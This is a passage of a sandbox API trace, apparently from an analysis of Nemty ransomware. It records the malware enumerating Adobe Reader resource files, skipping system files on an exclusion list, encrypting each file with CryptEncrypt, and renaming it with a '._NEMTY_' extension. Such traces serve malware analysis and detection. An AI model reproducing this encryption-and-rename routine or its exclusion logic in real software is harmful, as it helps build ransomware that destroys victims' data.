ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-2", cAlternateFileName="AD30F0~1")) returned 1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2=".") returned 1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="..") returned 1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="...") returned 1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="windows") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="$RECYCLE.BIN") returned 1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="rsa") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="NTDETECT.COM") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="ntldr") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="MSDOS.SYS") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="IO.SYS") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="boot.ini") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="boot.ini") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="AUTOEXEC.BAT") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="ntuser.dat") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="desktop.ini") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="CONFIG.SYS") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="RECYCLER") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="BOOTSECT.BAK") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="bootmgr") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="programdata") returned -1 [0201.752] lstrcmpiW (lpString1="Adobe-Korea1-2", lpString2="appdata") returned -1 [0201.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-2", lpUsedDefaultChar=0x0) returned 14 [0201.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-2", lpUsedDefaultChar=0x0) returned 14 [0201.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-2", lpUsedDefaultChar=0x0) returned 14 [0201.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-2", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-2", lpUsedDefaultChar=0x0) returned 14 [0201.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0201.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0201.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0201.753] Sleep (dwMilliseconds=0x5) [0201.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2be8fcf0, dwHighDateTime=0x1d561e8)) [0201.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2be8fcf0, dwHighDateTime=0x1d561e8)) [0201.775] GetLastError () returned 0x5 [0201.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.775] GetLastError () returned 0x5 [0201.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.776] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0201.776] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="p5ZbKTh9Tw8nA4haJuN1XN9xlyKdCNifsFYxNUh4KlS7Ia0S82vDxSydglgAx7SB\r\ngMhsxZ5MAiwQAOu6AAzAvi3QvVHZKMjt4ndcmbr/EqnKqDcwgIuvblsl14pucrch\r\nlSvMNzRBOX3KHNRUstDxetwqtv74P4vjjtevNJsRTpAbnDtshhtnZ96k3R8NDACH\r\nXMWLB9igPGFvE16r0WKyk62hZM+u/pcBiPSW1/YS5AhQ0jhXndsS1EwCNp8WnZ+h\r\ntQNGoNFw1xuFP/tqxYVaSxJRpCx4ZHaYtlXh/tpSUY89dUub9EANgHefPdQ6ijHE\r\nUxK/oUU/yc+M/RQvPqiaRw==\r\n", pcchString=0x653e91c) returned 1 [0201.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0201.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0201.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0201.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.776] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.883] CloseHandle (hObject=0xffffffff) returned 0 [0201.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0201.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0201.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0201.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0201.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.883] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-2._nemty_kgobjgd_")) returned 0 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0201.884] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-CID", cAlternateFileName="AD15A3~1")) returned 1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2=".") returned 1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="..") returned 1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="...") returned 1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="windows") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="$RECYCLE.BIN") returned 1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="rsa") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="NTDETECT.COM") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="ntldr") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="MSDOS.SYS") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="IO.SYS") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="boot.ini") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="boot.ini") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="AUTOEXEC.BAT") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="ntuser.dat") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="desktop.ini") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="CONFIG.SYS") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="RECYCLER") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="BOOTSECT.BAK") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="bootmgr") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="programdata") returned -1 [0201.884] lstrcmpiW (lpString1="Adobe-Korea1-H-CID", lpString2="appdata") returned -1 [0201.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 